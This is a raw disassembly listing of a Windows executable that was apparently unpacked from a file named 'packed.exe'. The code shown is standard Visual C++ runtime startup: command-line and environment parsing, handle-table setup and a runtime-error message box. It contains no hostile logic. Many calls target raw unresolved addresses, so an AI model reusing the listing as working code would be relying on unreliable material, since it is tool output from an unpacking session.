jnb short loc_422E6F cmp [eax], edx jz short locret_422E71 loc_422E6F: ; CODE XREF: sub_422E2F+3Aj xor eax, eax locret_422E71: ; CODE XREF: sub_422E2F+3Ej retn sub_422E2F endp ; --------------------------------------------------------------------------- cmp dword_4DC914, 0 jnz short loc_422E80 call sub_42026D loc_422E80: ; CODE XREF: ___:00422E79j push esi mov esi, dword_4DC90C mov al, [esi] cmp al, 22h jnz short loc_422EB2 loc_422E8D: ; CODE XREF: ___:00422EA5j ; ___:00422EA8j mov al, [esi+1] inc esi cmp al, 22h jz short loc_422EAA test al, al jz short loc_422EAA movzx eax, al push eax call sub_424D36 test eax, eax pop ecx jz short loc_422E8D inc esi jmp short loc_422E8D ; --------------------------------------------------------------------------- loc_422EAA: ; CODE XREF: ___:00422E93j ; ___:00422E97j cmp byte ptr [esi], 22h jnz short loc_422EBC loc_422EAF: ; CODE XREF: ___:00422EC4j inc esi jmp short loc_422EBC ; --------------------------------------------------------------------------- loc_422EB2: ; CODE XREF: ___:00422E8Bj cmp al, 20h jbe short loc_422EBC loc_422EB6: ; CODE XREF: ___:00422EBAj inc esi cmp byte ptr [esi], 20h ja short loc_422EB6 loc_422EBC: ; CODE XREF: ___:00422EADj ; ___:00422EB0j ... mov al, [esi] test al, al jz short loc_422EC6 cmp al, 20h jbe short loc_422EAF loc_422EC6: ; CODE XREF: ___:00422EC0j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422EDC call sub_42026D loc_422EDC: ; CODE XREF: ___:00422ED5j mov esi, dword_4DB2E8 xor edi, edi loc_422EE4: ; CODE XREF: ___:00422EFAj mov al, [esi] cmp al, bl jz short loc_422EFC cmp al, 3Dh jz short loc_422EEF inc edi loc_422EEF: ; CODE XREF: ___:00422EECj push esi call sub_41AFE0 pop ecx lea esi, [esi+eax+1] jmp short loc_422EE4 ; --------------------------------------------------------------------------- loc_422EFC: ; CODE XREF: ___:00422EE8j lea eax, ds:4[edi*4] push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov dword_4DB2A0, esi jnz short loc_422F1E push 9 call sub_41DA29 pop ecx loc_422F1E: ; CODE XREF: ___:00422F14j mov edi, dword_4DB2E8 cmp [edi], bl jz short loc_422F61 push ebp loc_422F29: ; CODE XREF: ___:00422F5Ej push edi call sub_41AFE0 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_422F5A push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esi], eax jnz short loc_422F4D push 9 call sub_41DA29 pop ecx loc_422F4D: ; CODE XREF: ___:00422F43j push edi push dword ptr [esi] call sub_41BEB0 pop ecx add esi, 4 pop ecx loc_422F5A: ; CODE XREF: ___:00422F36j add edi, ebp cmp [edi], bl jnz short loc_422F29 pop ebp loc_422F61: ; CODE XREF: ___:00422F26j push dword_4DB2E8 call sub_41B0B1 pop ecx mov dword_4DB2E8, ebx mov [esi], ebx pop edi pop esi mov dword_4DC910, 1 pop ebx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp dword_4DC914, ebx push esi push edi jnz short loc_422F9A call sub_42026D loc_422F9A: ; CODE XREF: ___:00422F93j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call near ptr 2650000h nop mov eax, dword_4DC90C mov off_4DB2B0, esi mov edi, esi cmp [eax], bl jz short loc_422FBF mov edi, eax loc_422FBF: ; CODE XREF: ___:00422FBBj lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push ebx push ebx push edi call sub_42301C mov eax, [ebp-8] mov ecx, [ebp-4] lea eax, [eax+ecx*4] push eax call sub_41B4D5 mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_422FEF push 8 call sub_41DA29 pop ecx loc_422FEF: ; CODE XREF: ___:00422FE5j lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax mov eax, [ebp-4] lea eax, [esi+eax*4] push eax push esi push edi call sub_42301C mov eax, [ebp-4] add esp, 14h dec eax mov dword_4DB298, esi pop edi pop esi mov dword_4DB294, eax pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42301C proc near ; CODE XREF: ___:00422FCAp ; ___:00423000p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_423046 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423046: ; CODE XREF: sub_42301C+20j cmp byte ptr [eax], 22h jnz short loc_42308F loc_42304B: ; CODE XREF: sub_42301C+58j ; sub_42301C+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_42307D test dl, dl jz short loc_42307D movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_423070 inc dword ptr [ecx] test esi, esi jz short loc_423070 mov dl, [eax] mov [esi], dl inc esi inc eax loc_423070: ; CODE XREF: sub_42301C+46j ; sub_42301C+4Cj inc dword ptr [ecx] test esi, esi jz short loc_42304B mov dl, [eax] mov [esi], dl inc esi jmp short loc_42304B ; --------------------------------------------------------------------------- loc_42307D: ; CODE XREF: sub_42301C+36j ; sub_42301C+3Aj inc dword ptr [ecx] test esi, esi jz short loc_423087 and byte ptr [esi], 0 inc esi loc_423087: ; CODE XREF: sub_42301C+65j cmp byte ptr [eax], 22h jnz short loc_4230D2 inc eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_42308F: ; CODE XREF: sub_42301C+2Dj ; sub_42301C+A5j inc dword ptr [ecx] test esi, esi jz short loc_42309A mov dl, [eax] mov [esi], dl inc esi loc_42309A: ; CODE XREF: sub_42301C+77j mov dl, [eax] inc eax movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_4230B5 inc dword ptr [ecx] test esi, esi jz short loc_4230B4 mov bl, [eax] mov [esi], bl inc esi loc_4230B4: ; CODE XREF: sub_42301C+91j inc eax loc_4230B5: ; CODE XREF: sub_42301C+8Bj cmp dl, 20h jz short loc_4230C3 test dl, dl jz short loc_4230C7 cmp dl, 9 jnz short loc_42308F loc_4230C3: ; CODE XREF: sub_42301C+9Cj test dl, dl jnz short loc_4230CA loc_4230C7: ; CODE XREF: sub_42301C+A0j dec eax jmp short loc_4230D2 ; --------------------------------------------------------------------------- loc_4230CA: ; CODE XREF: sub_42301C+A9j test esi, esi jz short loc_4230D2 and byte ptr [esi-1], 0 loc_4230D2: ; CODE XREF: sub_42301C+6Ej ; sub_42301C+71j ... and [ebp+arg_10], 0 loc_4230D6: ; CODE XREF: sub_42301C+19Ej cmp byte ptr [eax], 0 jz loc_4231BF loc_4230DF: ; CODE XREF: sub_42301C+D0j mov dl, [eax] cmp dl, 20h jz short loc_4230EB cmp dl, 9 jnz short loc_4230EE loc_4230EB: ; CODE XREF: sub_42301C+C8j inc eax jmp short loc_4230DF ; --------------------------------------------------------------------------- loc_4230EE: ; CODE XREF: sub_42301C+CDj cmp byte ptr [eax], 0 jz loc_4231BF test edi, edi jz short loc_423103 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_423103: ; CODE XREF: sub_42301C+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_423108: ; CODE XREF: sub_42301C+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_423111: ; CODE XREF: sub_42301C+FCj cmp byte ptr [eax], 5Ch jnz short loc_42311A inc eax inc ebx jmp short loc_423111 ; --------------------------------------------------------------------------- loc_42311A: ; CODE XREF: sub_42301C+F8j cmp byte ptr [eax], 22h jnz short loc_42314B test bl, 1 jnz short loc_423149 xor edi, edi cmp [ebp+arg_10], edi jz short loc_423138 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423138 mov eax, edx jmp short loc_42313B ; --------------------------------------------------------------------------- loc_423138: ; CODE XREF: sub_42301C+10Dj ; sub_42301C+116j mov [ebp+arg_0], edi loc_42313B: ; CODE XREF: sub_42301C+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_423149: ; CODE XREF: sub_42301C+106j shr ebx, 1 loc_42314B: ; CODE XREF: sub_42301C+101j mov edx, ebx dec ebx test edx, edx jz short loc_423160 inc ebx loc_423153: ; CODE XREF: sub_42301C+142j test esi, esi jz short loc_42315B mov byte ptr [esi], 5Ch inc esi loc_42315B: ; CODE XREF: sub_42301C+139j inc dword ptr [ecx] dec ebx jnz short loc_423153 loc_423160: ; CODE XREF: sub_42301C+134j mov dl, [eax] test dl, dl jz short loc_4231B0 cmp [ebp+arg_10], 0 jnz short loc_423176 cmp dl, 20h jz short loc_4231B0 cmp dl, 9 jz short loc_4231B0 loc_423176: ; CODE XREF: sub_42301C+14Ej cmp [ebp+arg_0], 0 jz short loc_4231AA test esi, esi jz short loc_423199 movzx ebx, dl test byte_4DC7E1[ebx], 4 jz short loc_423192 mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_423192: ; CODE XREF: sub_42301C+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_4231A8 ; --------------------------------------------------------------------------- loc_423199: ; CODE XREF: sub_42301C+162j movzx edx, dl test byte_4DC7E1[edx], 4 jz short loc_4231A8 inc eax inc dword ptr [ecx] loc_4231A8: ; CODE XREF: sub_42301C+17Bj ; sub_42301C+187j inc dword ptr [ecx] loc_4231AA: ; CODE XREF: sub_42301C+15Ej inc eax jmp loc_423108 ; --------------------------------------------------------------------------- loc_4231B0: ; CODE XREF: sub_42301C+148j ; sub_42301C+153j ... test esi, esi jz short loc_4231B8 and byte ptr [esi], 0 inc esi loc_4231B8: ; CODE XREF: sub_42301C+196j inc dword ptr [ecx] jmp loc_4230D6 ; --------------------------------------------------------------------------- loc_4231BF: ; CODE XREF: sub_42301C+BDj ; sub_42301C+D5j test edi, edi jz short loc_4231C6 and dword ptr [edi], 0 loc_4231C6: ; CODE XREF: sub_42301C+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_42301C endp ; --------------------------------------------------------------------------- push ecx push ecx mov eax, dword_4DB458 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42321E call ebp mov esi, eax cmp esi, ebx jz short loc_4231FF mov dword_4DB458, 1 jmp short loc_423227 ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: ___:004231F1j nop call near ptr 2610B30h mov edi, eax cmp edi, ebx jz loc_4232F9 mov dword_4DB458, 2 jmp loc_4232AD ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: ___:004231E9j cmp eax, 1 jnz loc_4232A8 loc_423227: ; CODE XREF: ___:004231FDj cmp esi, ebx jnz short loc_423237 call ebp mov esi, eax cmp esi, ebx jz loc_4232F9 loc_423237: ; CODE XREF: ___:00423229j cmp [esi], bx mov eax, esi jz short loc_42324C loc_42323E: ; CODE XREF: ___:00423243j ; ___:0042324Aj inc eax inc eax cmp [eax], bx jnz short loc_42323E inc eax inc eax cmp [eax], bx jnz short loc_42323E loc_42324C: ; CODE XREF: ___:0042323Cj sub eax, esi mov edi, dword_42717C sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+34h], eax call edi mov ebp, eax cmp ebp, ebx jz short loc_42329D push ebp call sub_41B4D5 cmp eax, ebx pop ecx mov [esp+10h], eax jz short loc_42329D push ebx push ebx push ebp push eax push dword ptr [esp+24h] push esi push ebx push ebx call edi test eax, eax jnz short loc_423299 push dword ptr [esp+10h] call sub_41B0B1 pop ecx mov [esp+10h], ebx loc_423299: ; CODE XREF: ___:00423289j mov ebx, [esp+10h] loc_42329D: ; CODE XREF: ___:00423269j ; ___:00423278j push esi nop call near ptr 2610DFDh mov eax, ebx jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232A8: ; CODE XREF: ___:00423221j cmp eax, 2 jnz short loc_4232F9 loc_4232AD: ; CODE XREF: ___:00423219j cmp edi, ebx jnz short loc_4232BD nop call near ptr 2610B30h mov edi, eax cmp edi, ebx jz short loc_4232F9 loc_4232BD: ; CODE XREF: ___:004232AFj cmp [edi], bl mov eax, edi jz short loc_4232CD loc_4232C3: ; CODE XREF: ___:004232C6j ; ___:004232CBj inc eax cmp [eax], bl jnz short loc_4232C3 inc eax cmp [eax], bl jnz short loc_4232C3 loc_4232CD: ; CODE XREF: ___:004232C1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx jnz short loc_4232E3 xor esi, esi jmp short loc_4232EE ; --------------------------------------------------------------------------- loc_4232E3: ; CODE XREF: ___:004232DDj push ebp push edi push esi call sub_41C310 add esp, 0Ch loc_4232EE: ; CODE XREF: ___:004232E1j push edi nop call near ptr 2610E6Fh mov eax, esi jmp short loc_4232FB ; --------------------------------------------------------------------------- loc_4232F9: ; CODE XREF: ___:00423209j ; ___:00423231j ... xor eax, eax loc_4232FB: ; CODE XREF: ___:004232A6j ; ___:004232F7j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn ; --------------------------------------------------------------------------- sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41B4D5 mov esi, eax pop ecx test esi, esi jnz short loc_423322 push 1Bh call sub_41DA29 pop ecx loc_423322: ; CODE XREF: ___:00423318j mov dword_4DC5C0, esi mov dword_4DC6C0, 20h lea eax, [esi+100h] loc_423338: ; CODE XREF: ___:00423354j cmp esi, eax jnb short loc_423356 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4DC5C0 add esi, 8 add eax, 100h jmp short loc_423338 ; --------------------------------------------------------------------------- loc_423356: ; CODE XREF: ___:0042333Aj lea eax, [esp+10h] push eax nop call near ptr 2850000h cmp word ptr [esp+42h], 0 jz loc_423432 mov eax, [esp+44h] test eax, eax jz loc_423432 mov esi, [eax] lea ebp, [eax+4] mov eax, 800h cmp esi, eax lea ebx, [esi+ebp] jl short loc_42338C mov esi, eax loc_42338C: ; CODE XREF: ___:00423388j cmp dword_4DC6C0, esi jge short loc_4233E6 mov edi, offset dword_4DC5C4 loc_423399: ; CODE XREF: ___:004233DCj push 100h call sub_41B4D5 test eax, eax pop ecx jz short loc_4233E0 add dword_4DC6C0, 20h mov [edi], eax lea ecx, [eax+100h] loc_4233B7: ; CODE XREF: ___:004233D1j cmp eax, ecx jnb short loc_4233D3 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov ecx, [edi] add eax, 8 add ecx, 100h jmp short loc_4233B7 ; --------------------------------------------------------------------------- loc_4233D3: ; CODE XREF: ___:004233B9j add edi, 4 cmp dword_4DC6C0, esi jl short loc_423399 jmp short loc_4233E6 ; --------------------------------------------------------------------------- loc_4233E0: ; CODE XREF: ___:004233A6j mov esi, dword_4DC6C0 loc_4233E6: ; CODE XREF: ___:00423392j ; ___:004233DEj xor edi, edi test esi, esi jle short loc_423432 loc_4233EC: ; CODE XREF: ___:00423430j mov eax, [ebx] cmp eax, 0FFFFFFFFh jz short loc_423429 mov cl, [ebp+0] test cl, 1 jz short loc_423429 test cl, 8 jnz short loc_42340B push eax nop call near ptr 2610000h test eax, eax jz short loc_423429 loc_42340B: ; CODE XREF: ___:004233FEj mov eax, edi mov ecx, edi sar eax, 5 and ecx, 1Fh mov eax, dword_4DC5C0[eax*4] lea eax, [eax+ecx*8] mov ecx, [ebx] mov [eax], ecx mov cl, [ebp+0] mov [eax+4], cl loc_423429: ; CODE XREF: ___:004233F1j ; ___:004233F9j ... inc edi inc ebp add ebx, 4 cmp edi, esi jl short loc_4233EC loc_423432: ; CODE XREF: ___:00423367j ; ___:00423373j ... xor ebx, ebx loc_423434: ; CODE XREF: ___:00423497j mov eax, dword_4DC5C0 cmp dword ptr [eax+ebx*8], 0FFFFFFFFh lea esi, [eax+ebx*8] jnz short loc_42348F test ebx, ebx mov byte ptr [esi+4], 81h jnz short loc_42344F push 0FFFFFFF6h pop eax jmp short loc_423459 ; --------------------------------------------------------------------------- loc_42344F: ; CODE XREF: ___:00423448j mov eax, ebx dec eax neg eax sbb eax, eax add eax, 0FFFFFFF5h loc_423459: ; CODE XREF: ___:0042344Dj push eax call near ptr 261085Dh nop mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_42347E push edi call near ptr 2610000h nop test eax, eax jz short loc_42347E and eax, 0FFh mov [esi], edi cmp eax, 2 jnz short loc_423484 loc_42347E: ; CODE XREF: ___:00423465j ; ___:00423470j or byte ptr [esi+4], 40h jmp short loc_423493 ; --------------------------------------------------------------------------- loc_423484: ; CODE XREF: ___:0042347Cj cmp eax, 3 jnz short loc_423493 or byte ptr [esi+4], 8 jmp short loc_423493 ; --------------------------------------------------------------------------- loc_42348F: ; CODE XREF: ___:00423440j or byte ptr [esi+4], 80h loc_423493: ; CODE XREF: ___:00423482j ; ___:00423487j ... inc ebx cmp ebx, 3 jl short loc_423434 push dword_4DC6C0 nop call near ptr 2610A82h pop edi pop esi pop ebp pop ebx add esp, 44h retn ; --------------------------------------------------------------------------- align 10h push esi inc ebx xor dh, [eax] pop eax inc ebx xor [eax], dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B8 proc near ; DATA XREF: sub_42205D+Ao ; sub_42218C+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423558 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_4234EB: ; CODE XREF: sub_4234B8+90j cmp esi, 0FFFFFFFFh jz short loc_423551 lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42353F push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42353F js short loc_42354A mov edi, [ebx+8] push ebx call sub_41CB74 ; --------------------------------------------------------------------------- add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41CBB6 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41CC4A mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42353F: ; CODE XREF: sub_4234B8+40j ; sub_4234B8+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_4234EB ; --------------------------------------------------------------------------- loc_42354A: ; CODE XREF: sub_4234B8+54j mov eax, 0 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423551: ; CODE XREF: sub_4234B8+36j mov eax, 1 jmp short loc_42356D ; --------------------------------------------------------------------------- loc_423558: ; CODE XREF: sub_4234B8+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41CBB6 add esp, 8 pop ebp mov eax, 1 loc_42356D: ; CODE XREF: sub_4234B8+97j ; sub_4234B8+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4234B8 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41CBB6 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_423590 proc near ; CODE XREF: sub_41DA29+9p mov eax, dword_4DB2F0 cmp eax, 1 jz short loc_4235A7 test eax, eax jnz short locret_4235C8 cmp dword_43A2C4, 1 jnz short locret_4235C8 loc_4235A7: ; CODE XREF: sub_423590+8j push 0FCh call sub_4235C9 mov eax, dword_4DB45C pop ecx test eax, eax jz short loc_4235BD call eax loc_4235BD: ; CODE XREF: sub_423590+29j push 0FFh call sub_4235C9 pop ecx locret_4235C8: ; CODE XREF: sub_423590+Cj ; sub_423590+15j retn sub_423590 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4235C9 proc near ; CODE XREF: sub_41DA29+12p ; sub_423590+1Cp ... var_1A4 = byte ptr -1A4h var_A0 = byte ptr -0A0h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_43C958 loc_4235DC: ; CODE XREF: sub_4235C9+20j cmp edx, [eax] jz short loc_4235EB add eax, 8 inc ecx cmp eax, offset off_43C9E8 jl short loc_4235DC loc_4235EB: ; CODE XREF: sub_4235C9+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_43C958[esi] jnz loc_423719 mov eax, dword_4DB2F0 cmp eax, 1 jz loc_4236F3 test eax, eax jnz short loc_42361C cmp dword_43A2C4, 1 jz loc_4236F3 loc_42361C: ; CODE XREF: sub_4235C9+44j cmp edx, 0FCh jz loc_423719 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 2650000h nop test eax, eax jnz short loc_423653 lea eax, [ebp+var_1A4] push offset aProgramNameUnk ; "<program name unknown>" push eax call sub_41BEB0 pop ecx pop ecx loc_423653: ; CODE XREF: sub_4235C9+75j lea eax, [ebp+var_1A4] push edi push eax lea edi, [ebp+var_1A4] call sub_41AFE0 inc eax pop ecx cmp eax, 3Ch jbe short loc_423696 lea eax, [ebp+var_1A4] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_1A4] sub eax, 3Bh push 3 add edi, eax push offset a___ ; "..." push edi call sub_41B5F0 add esp, 10h loc_423696: ; CODE XREF: sub_4235C9+A2j lea eax, [ebp+var_A0] push offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: " push eax call sub_41BEB0 lea eax, [ebp+var_A0] push edi push eax call sub_41BEC0 lea eax, [ebp+var_A0] push offset asc_427C10 ; "\n\n" push eax call sub_41BEC0 push off_43C95C[esi] lea eax, [ebp+var_A0] push eax call sub_41BEC0 push 12010h lea eax, [ebp+var_A0] push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library" push eax call sub_424D78 add esp, 2Ch pop edi jmp short loc_423719 ; --------------------------------------------------------------------------- loc_4236F3: ; CODE XREF: sub_4235C9+3Cj ; sub_4235C9+4Dj lea eax, [ebp+arg_0] lea esi, off_43C95C[esi] push 0 push eax push dword ptr [esi] call sub_41AFE0 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 261085Dh nop push eax nop call near ptr 26D0000h loc_423719: ; CODE XREF: sub_4235C9+2Ej ; sub_4235C9+59j ... pop esi leave retn sub_4235C9 endp ; =============== S U B R O U T I N E ======================================= sub_42371C proc near ; CODE XREF: sub_423A33:loc_423BABp push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4DC5C0 loc_42372B: ; CODE XREF: sub_42371C+48j mov eax, [ecx] test eax, eax jz short loc_423768 lea edx, [eax+100h] loc_423737: ; CODE XREF: sub_42371C+28j cmp eax, edx jnb short loc_423757 test byte ptr [eax+4], 1 jz short loc_423746 add eax, 8 jmp short loc_423737 ; --------------------------------------------------------------------------- loc_423746: ; CODE XREF: sub_42371C+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4237AB loc_423757: ; CODE XREF: sub_42371C+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4DC6C0 jl short loc_42372B jmp short loc_4237AB ; --------------------------------------------------------------------------- loc_423768: ; CODE XREF: sub_42371C+13j mov esi, 100h push esi call sub_41B4D5 test eax, eax pop ecx jz short loc_4237AB add dword_4DC6C0, 20h lea ecx, ds:4DC5C0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_42378E: ; CODE XREF: sub_42371C+88j cmp eax, edx jnb short loc_4237A6 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_42378E ; --------------------------------------------------------------------------- loc_4237A6: ; CODE XREF: sub_42371C+74j shl edi, 5 mov ebx, edi loc_4237AB: ; CODE XREF: sub_42371C+39j ; sub_42371C+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_42371C endp ; =============== S U B R O U T I N E ======================================= sub_4237B1 proc near ; CODE XREF: sub_423A33+1F4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 push edi jnb short loc_423811 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_423811 cmp dword_43A2C4, 1 push ebx mov ebx, [esp+0Ch+arg_4] jnz short loc_423807 sub eax, 0 jz short loc_4237FE dec eax jz short loc_4237F9 dec eax jnz short loc_423807 push ebx push 0FFFFFFF4h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237F9: ; CODE XREF: sub_4237B1+3Ej push ebx push 0FFFFFFF5h jmp short loc_423801 ; --------------------------------------------------------------------------- loc_4237FE: ; CODE XREF: sub_4237B1+3Bj push ebx push 0FFFFFFF6h loc_423801: ; CODE XREF: sub_4237B1+46j ; sub_4237B1+4Bj nop call near ptr 2600CACh loc_423807: ; CODE XREF: sub_4237B1+36j ; sub_4237B1+41j mov eax, [edi] mov [eax+esi], ebx xor eax, eax pop ebx jmp short loc_423825 ; --------------------------------------------------------------------------- loc_423811: ; CODE XREF: sub_4237B1+Cj ; sub_4237B1+28j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_423825: ; CODE XREF: sub_4237B1+5Ej pop edi pop esi retn sub_4237B1 endp ; =============== S U B R O U T I N E ======================================= sub_423828 proc near ; CODE XREF: sub_41DA72+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4DC6C0 push edi jnb short loc_42388B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4DC5C0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_42388B cmp dword ptr [eax], 0FFFFFFFFh jz short loc_42388B cmp dword_43A2C4, 1 jnz short loc_423881 xor eax, eax sub ecx, eax jz short loc_423878 dec ecx jz short loc_423873 dec ecx jnz short loc_423881 push eax push 0FFFFFFF4h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423873: ; CODE XREF: sub_423828+41j push eax push 0FFFFFFF5h jmp short loc_42387B ; --------------------------------------------------------------------------- loc_423878: ; CODE XREF: sub_423828+3Ej push eax push 0FFFFFFF6h loc_42387B: ; CODE XREF: sub_423828+49j ; sub_423828+4Ej nop call near ptr 2600CACh loc_423881: ; CODE XREF: sub_423828+38j ; sub_423828+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_42389F ; --------------------------------------------------------------------------- loc_42388B: ; CODE XREF: sub_423828+Cj ; sub_423828+2Aj ... and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh loc_42389F: ; CODE XREF: sub_423828+61j pop edi pop esi retn sub_423828 endp ; =============== S U B R O U T I N E ======================================= sub_4238A2 proc near ; CODE XREF: sub_41DA72+32p ; sub_41DA72+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_4238CA mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4238CA mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4238CA: ; CODE XREF: sub_4238A2+Aj ; sub_4238A2+23j and dword_4DB27C, 0 mov dword_4DB278, 9 or eax, 0FFFFFFFFh retn sub_4238A2 endp ; =============== S U B R O U T I N E ======================================= sub_4238DF proc near ; CODE XREF: sub_41DB50+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jnb short loc_423928 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4DC5C0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423928 push eax call sub_4238A2 pop ecx push eax nop call near ptr 2600849h test eax, eax jnz short loc_42391D call near ptr 2660882h nop jmp short loc_42391F ; --------------------------------------------------------------------------- loc_42391D: ; CODE XREF: sub_4238DF+34j xor eax, eax loc_42391F: ; CODE XREF: sub_4238DF+3Cj test eax, eax jz short locret_423935 mov dword_4DB27C, eax loc_423928: ; CODE XREF: sub_4238DF+Aj ; sub_4238DF+22j mov dword_4DB278, 9 or eax, 0FFFFFFFFh locret_423935: ; CODE XREF: sub_4238DF+42j retn sub_4238DF endp ; =============== S U B R O U T I N E ======================================= sub_423936 proc near ; DATA XREF: ___:00429024o mov eax, dword_4DC5A0 push esi push 14h test eax, eax pop esi jnz short loc_42394A mov eax, 200h jmp short loc_423950 ; --------------------------------------------------------------------------- loc_42394A: ; CODE XREF: sub_423936+Bj cmp eax, esi jge short loc_423955 mov eax, esi 